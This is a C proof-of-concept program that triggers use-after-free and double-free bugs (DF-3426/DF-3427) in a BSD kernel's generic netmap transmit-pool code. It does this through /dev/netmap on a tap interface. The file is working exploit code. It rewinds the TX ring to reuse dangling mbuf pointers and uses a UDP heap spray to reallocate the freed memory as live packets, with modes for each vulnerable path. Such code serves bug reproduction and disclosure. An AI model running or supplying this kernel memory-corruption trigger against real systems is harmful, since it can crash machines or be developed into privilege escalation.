/*
 * DF-3426 / DF-3427 trigger -- drives the *production* generic netmap
 * TX-pool code (netmap_generic.c / netmap_freebsd.c) through the real
 * /dev/netmap userspace ABI on a tap(4) interface that is UP but has no
 * reader: tapifstart() -> ifsq_purge() frees every dispatched mbuf
 * SYNCHRONOUSLY inside ifq_dispatch(), i.e. "TX completion" happens
 * before generic_xmit_frame() even returns, and tx_pool[j] is left
 * dangling (netmap_generic.c:504-548 never clears it).
 *
 * modes:
 *   probe                    register, dump geometry, unregister (clean)
 *   evt                      DF-3427: send ring_size-1 slots so
 *                            nr_hwavail hits 0 and generic_set_tx_event()
 *                            installs SET_MBUF_DESTRUCTOR + m_freem()s a
 *                            pool mbuf that the "driver" already freed.
 *   uaf [lap1] [spray] [post] DF-3426: lap1 sends, optional UDP spray
 *                            (reallocate the freed pool mbufs as live
 *                            mbufs), lap2 rewinds cur so txsync reuses
 *                            the dangling tx_pool[] entries: UAF write of
 *                            packet bytes + second ifq_dispatch -> double
 *                            free; optional post-spray for collision.
 *   unreg [lap1]             DF-3426 sink #3: lap1 sends then close(fd):
 *                            unregister m_freem()s every pool entry.
 *
 * Build: cc -O -I/usr/src/sys -o trigger trigger_txpool_uaf.c
 * Run:   ./trigger tap0 uaf 512 4096 16384
 */
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <netinet/in.h>
#include <net/if.h>

#include <net/netmap/netmap.h>

static void die(const char *m) { perror(m); exit(1); }

static int fd;
static struct netmap_if *nifp;
static struct netmap_ring *txring;
static uint32_t nslots;

static void
reg(const char *ifname)
{
	struct nmreq nmr;
	void *mem;

	memset(&nmr, 0, sizeof(nmr));
	strncpy(nmr.nr_name, ifname, sizeof(nmr.nr_name) - 1);
	nmr.nr_version = NETMAP_API;
	if (ioctl(fd, NIOCREGIF, &nmr) < 0)
		die("NIOCREGIF");
	printf("REGIF %s: memsize=%u offset=%u tx_rings=%u tx_slots=%u\n",
	    ifname, nmr.nr_memsize, nmr.nr_offset, nmr.nr_tx_rings,
	    nmr.nr_tx_slots);
	mem = mmap(NULL, nmr.nr_memsize, PROT_READ | PROT_WRITE, MAP_SHARED,
	    fd, 0);
	if (mem == MAP_FAILED)
		die("mmap");
	nifp = (struct netmap_if *)((char *)mem + nmr.nr_offset);
	txring = (struct netmap_ring *)((char *)nifp + nifp->ring_ofs[0]);
	nslots = txring->num_slots;
	printf("txring0: num_slots=%u cur=%u avail=%u reserved=%u "
	    "buf_size=%u buf_ofs=%zd\n", txring->num_slots, txring->cur,
	    txring->avail, txring->reserved, txring->nr_buf_size,
	    txring->buf_ofs);
}

static void
prep(uint32_t from, uint32_t count)
{
	uint32_t i;
	unsigned char pat[64];
	int k;

	for (k = 0; k < 64; k++)
		pat[k] = (unsigned char)(k ^ 0xa5);

	for (i = 0; i < count; i++) {
		uint32_t j = from + i;
		struct netmap_slot *s;
		char *buf;

		if (j >= nslots)
			j -= nslots;
		s = &txring->slot[j];
		buf = (char *)txring + txring->buf_ofs +
		    (uint32_t)s->buf_idx * txring->nr_buf_size;
		s->len = 64;
		s->flags = 0;
		memcpy(buf, pat, 64);
	}
}

static void
sync_tx(const char *tag)
{
	printf("[%s] cur=%u avail(before sync)=%u -> NIOCTXSYNC\n",
	    tag, txring->cur, txring->avail);
	if (ioctl(fd, NIOCTXSYNC, NULL) < 0)
		die("NIOCTXSYNC");
	printf("[%s] after: avail=%u reserved=%u\n", tag, txring->avail,
	    txring->reserved);
}

static void
spray(int n)
{
	struct sockaddr_in dst;
	char buf[512];
	int s, i, sent = 0;

	memset(buf, 0x5a, sizeof(buf));
	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0)
		die("socket");
	memset(&dst, 0, sizeof(dst));
	dst.sin_family = AF_INET;
	dst.sin_port = htons(9);	/* discard; closed -> ICMP churn */
	dst.sin_addr.s_addr = htonl(0x7f000001);
	for (i = 0; i < n; i++) {
		if (sendto(s, buf, sizeof(buf), 0,
		    (struct sockaddr *)&dst, sizeof(dst)) > 0)
			sent++;
	}
	close(s);
	printf("[spray] %d/%d datagrams sent\n", sent, n);
}

int
main(int argc, char **argv)
{
	const char *ifname, *mode;
	int lap1 = 512, spr = 4096, post = 16384;

	if (argc < 3) {
		fprintf(stderr, "usage: %s <ifname> "
		    "probe|evt|uaf|unreg [lap1 spray post]\n", argv[0]);
		return 2;
	}
	ifname = argv[1];
	mode = argv[2];
	if (argc > 3) lap1 = atoi(argv[3]);
	if (argc > 4) spr = atoi(argv[4]);
	if (argc > 5) post = atoi(argv[5]);

	fd = open("/dev/netmap", O_RDWR);
	if (fd < 0)
		die("open /dev/netmap");

	if (strcmp(mode, "probe") == 0) {
		reg(ifname);
		printf("sleeping 1s before unregister\n");
		sleep(1);
		close(fd);
		printf("probe done (unregistered)\n");
		return 0;
	}

	if (strcmp(mode, "evt") == 0) {
		reg(ifname);
		/* send nslots-1: nr_hwavail (== nslots-1) drops to 0 ->
		 * generic_set_tx_event() at netmap_generic.c:573 */
		prep(0, nslots - 1);
		txring->cur = nslots - 1;
		sync_tx("evt-lap");
		printf("event arm done; waiting 3s for any destructor "
		    "callbacks (watch console/dmesg for RIG:)\n");
		sleep(3);
		close(fd);
		printf("evt done (closed -> unregister frees whole pool)\n");
		return 0;
	}

	if (strcmp(mode, "uaf") == 0) {
		uint32_t lap2;

		reg(ifname);
		if ((uint32_t)lap1 >= nslots - 2)
			lap1 = nslots / 2;
		/* lap1: hwcur 0 -> lap1 (hwavail != 0, no event armed) */
		prep(0, lap1);
		txring->cur = lap1;
		sync_tx("uaf-lap1");
		/* spray: pull the just-freed pool mbufs out of the per-CPU
		 * objcache magazines and make them LIVE network mbufs */
		if (spr > 0)
			spray(spr);
		/* lap2: rewind cur to lap1-1: txsync walks hwcur=lap1 .. cur,
		 * i.e. slots [lap1..nslots-1] are fresh dispatches and slots
		 * [0..lap1-1] REUSE the dangling tx_pool[] entries */
		lap2 = lap1 - 1;
		prep(lap1, (nslots - 1) - lap1 + lap1);	/* prep lap1..lap1-1 */
		txring->cur = lap2;
		sync_tx("uaf-lap2(REUSE)");
		if (post > 0)
			spray(post);
		printf("uaf done; sleeping 2s; closing -> unregister\n");
		sleep(2);
		close(fd);
		return 0;
	}

	if (strcmp(mode, "unreg") == 0) {
		reg(ifname);
		if ((uint32_t)lap1 >= nslots - 2)
			lap1 = nslots / 2;
		prep(0, lap1);
		txring->cur = lap1;
		sync_tx("unreg-lap1");
		printf("closing fd -> generic_netmap_register(0) m_freem()s "
		    "every tx_pool entry\n");
		close(fd);
		return 0;
	}

	fprintf(stderr, "unknown mode %s\n", mode);
	return 2;
}